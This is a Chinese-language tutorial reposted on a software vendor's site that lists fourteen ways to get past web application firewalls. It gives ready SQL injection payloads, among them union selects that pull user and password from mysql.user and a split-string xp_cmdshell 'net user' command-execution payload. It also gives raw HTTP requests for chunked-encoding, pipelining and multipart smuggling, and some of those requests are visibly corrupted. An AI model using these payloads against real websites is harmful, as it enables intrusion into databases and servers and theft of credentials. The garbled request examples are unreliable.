LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

渗透攻防安全防范之WAF绕过方法总结

admin
2023年10月30日 10:59 本文热度 635

介绍:  

WAF(Web应用防火墙,Web Application Firewall的简称)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的产品。WAF可以发现和拦截各类Web层面的攻击,记录攻击日志,实时预警提醒,在Web应用本身存在缺陷的情况下保障其安全。但是,WAF不是万能的、完美的、无懈可击的,在种种原因下,它们也会有各自的缺陷,不可以盲目相信WAF而不注重自身的安全。

waf分类:

云waf

硬件waf

软件waf

网站内置waf


1.双写注入绕过

and双写为anandd

2.大小写绕过


3.脏数据绕过

即传入一段长数据使waf失效,从而实现绕过waf。某些waf处理POST的数据时,只会检测开头的8K,后面选择全部放过。
例如,当发现某网站存在一个反序列化漏洞时,但是无回显,被waf拦截了
利用脏数据插入5000x字符,可以成功绕过

4.复参数绕过(&id=

例如一个请求
GET /pen/news.php?id=1 union select user,password from mysql.user
可以修改为
GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
很多WAF都可以这样绕,测试最新版WAF能绕过部分语句。

5.高并发绕过

对请求进行并发,攻击请求会被负载均衡调度到不同节点,导致某些请求绕过了waf的拦截
 

6.特殊字符替换空格

用一些特殊字符代替空格,比如在mysql%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的WAF,在sqlserver中可以用/**/代替空格,也可以使用如下方法:
http://192.168.60.68/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5
http://192.168.60.68/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2
特殊字符有:mysql%0a/**/可以绕过最新版本WAF     sqlerver/**/
/*|%23--%23|*/
 
/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5
这条语句不行,看一下防护日志,是因为把uaer函数加入黑名单啦。替换user即可。
 

7.使用其他变量或者命令对注入语句进行替换

COMMAND | WHAT TO USE INSTEAD
version()|@@version 
concat() | concat_ws()
group_concat() | concat_ws()
= | like
1| MOD(8,7)
 

8.HTTP参数污染

 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一 些 waf 的拦截。
 

9.特殊字符拼接(+

把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接
如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
可以改为:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')

10.数据格式混淆

利用数据格式解析缺陷,存在两种提交表单数据的请求类型
application/x-www-form-urlencoded
multipart/form-data 支持key-Value方式
 
可以修改提交格式
 
这两种方式提交数据的效果是一样的。
当然,除了这种方式外一些其他方式也可能绕过waf,例如将传入json数据,将其修改为HTTP请求,或者修改content-type等方式(当然是在应用能够正常解析的前提下)

11.编码绕过

对请求数据进行编码,例如url编码,Unicode编码等,如果waf对数据不能有效解码,而应用后端能够正常解码,就可以绕过waf
例如最常见的url编码,对数据进行二次url编码,waf进行一次解码并不能解析到有效的数据,而后端在进行解码时传入的为有效的恶意数据。
 
id=1 and 1=1 写为 id=1/*!and*/1=1
 

12.利用WAF本身的功能绕过

"*"替换为空
例:uni*on+sel*ect+1,2,3,4....
假如发现WAF会把"*"替换为空,那么就可以利用这一特性来进行绕过‍‍http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....
其它方法-15+(union)+(select).-15+(union+select)+-15+(UnI)(oN)+(SeL)(ecT)+.-15+union (select 1,2,3,4)

13.利用http协议绕过waf

分块传输绕过waf
先在数据包中添加Transfer-Encoding: chunked
数字代表下一列字符所占位数,最后需要用0独占一行表示结束,结尾需要两个回车
在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,post请求报文中的数据部分需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的,也不包括分块数据结尾的,且最后需要用0独占一行表示结束。
注意:分块编码传输需要将关键字and,or,select ,union等关键字拆开编码,不然仍然会被waf拦截。编码过程中长度需包括空格的长度。最后用0表示编码结束,并在0后空两行表示数据包结束,不然点击提交按钮后会看到一直处于waiting状态。
例如:
………………
Connection: close
Upgrade-Insecure-Requests: I
ontent-Type: application/x-www-form-urlencoded
Content-Length: 50
 
畸形包绕过(pipline绕过)
原理:
http协议是由tcp协议封装而来,当浏览器发起一个http请求时,浏览器先和服务器建立起连接tcp连接,然后发送http数据包(即用burpsuite截获的数据),其中包含了一个Connection字段,一般值为closeapache等容器根据这个字段决定是保持该tcp连接或是断开。当发送的内容太大,超过一个http包容量,需要分多次发送时,值会变成keep-alive,即本次发起的http请求所建立的tcp连接不断开,直到所发送内容结束Connectionclose为止。
l先关闭burpsuite长度更新,为get请求,先使用bpmethod转换为POST请求
lget请求中空格使用%20代替,Connection改为keep-alive
点击burpRepeater,在下拉选项中取消update Content-Length选中。
例如:
POST /sqlinject.php Http/1.0
Host:127001
User-Agent: Mozilla/5.0(Windows NT 10.0: WOW64; rv: 65.0) Gecko/20100101
Firefox/65.0
Accept: text/htmL, application/xhtml+xml, application/xml; q=0.9, image/webp. */ q=0.8
Accept-Language: en-US,en:q=0.5
Referer:http://127.0.0.1/sqlinjectphp?id=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Connection:keep-alive
Upgrade-Insecure-Requests: 1
id=1post/sqlinjeCt.php Http/1.0
Host:127.00.1
User-Agent: Mozilla/5.0 (Windows NT 10.0: WOw64: rv: 65.0) Gecko/2010010
Firefox/65.0
Accept: text/htmL application/xhtml+xmL application/xml q=0.9, image/webp. * q=0.8
Accept-Language: en-US, en, q=0.5
Referer:http://127.0.0.1/sqlinjectphp?id=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
Connection: close
pgrade-Insecure-Requests: 1
d=l and 1=1
然后你会收到两个返回包,不过这种方法有可能被waf给拦截
 
协议覆盖
原理:
HTTP头里的Content-Type一般有application/x-www-form-urlencodedmultipart/form-datatext/plain三种,其中multipart/form-data表示数据被编码为一条消息,页上的每个控件对应消息中的一个部分。所以,当waf没有规则匹配该协议传输的数据时可被绕过。
将头部Content-Type改为multipart/form-data; boundary=69 然后设置分割符内的Content-Dispositionname为要传参数的名称。数据部分则放在分割结束符上一行。由于是正常数据提交,数据是能被apache容器正确解析的,尝试1 and 1=1也会被某狗waf拦截,但如果其他waf没有规则拦截这种方式提交的数据包,那么同样能绕过。
POST /sQlinJect php Http/1.0
User-Agent: Mozilla/5.0 (Windows NT 10.0: WOW64; rv 650)Gecko /20100101 Firefox/65.0
Accept: text/htmL, application/xhtml+xmL, application/xmL: q=0.9, image/webp, */* q=0.8
Accept-Language: en-US, en: q=0.5
Referer:http://127.0.0.1/sqlinject.php?id
Content-Type: multipart/form-data; boundary=69
Content-Length: 60
Connection close
Upgrade-Insecure-Requests:1
--69
Content-Disposition: form-data; name="id"
1
--69--

14.请求方式转换

过滤了get但是没有过滤postcookiewaf默认是关闭的
 
waf 在对危险字符进行检测的时候,分别为 post 请求和 get 或者其它的请求方式设定了不同的匹配规则,请求被拦截,变 换请求方式有几率能绕过检测
例如:
 
或者修改为其它允许的方式,例如options, head等提交方式。


该文章在 2023/10/30 10:59:24 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2024 ClickSun All Rights Reserved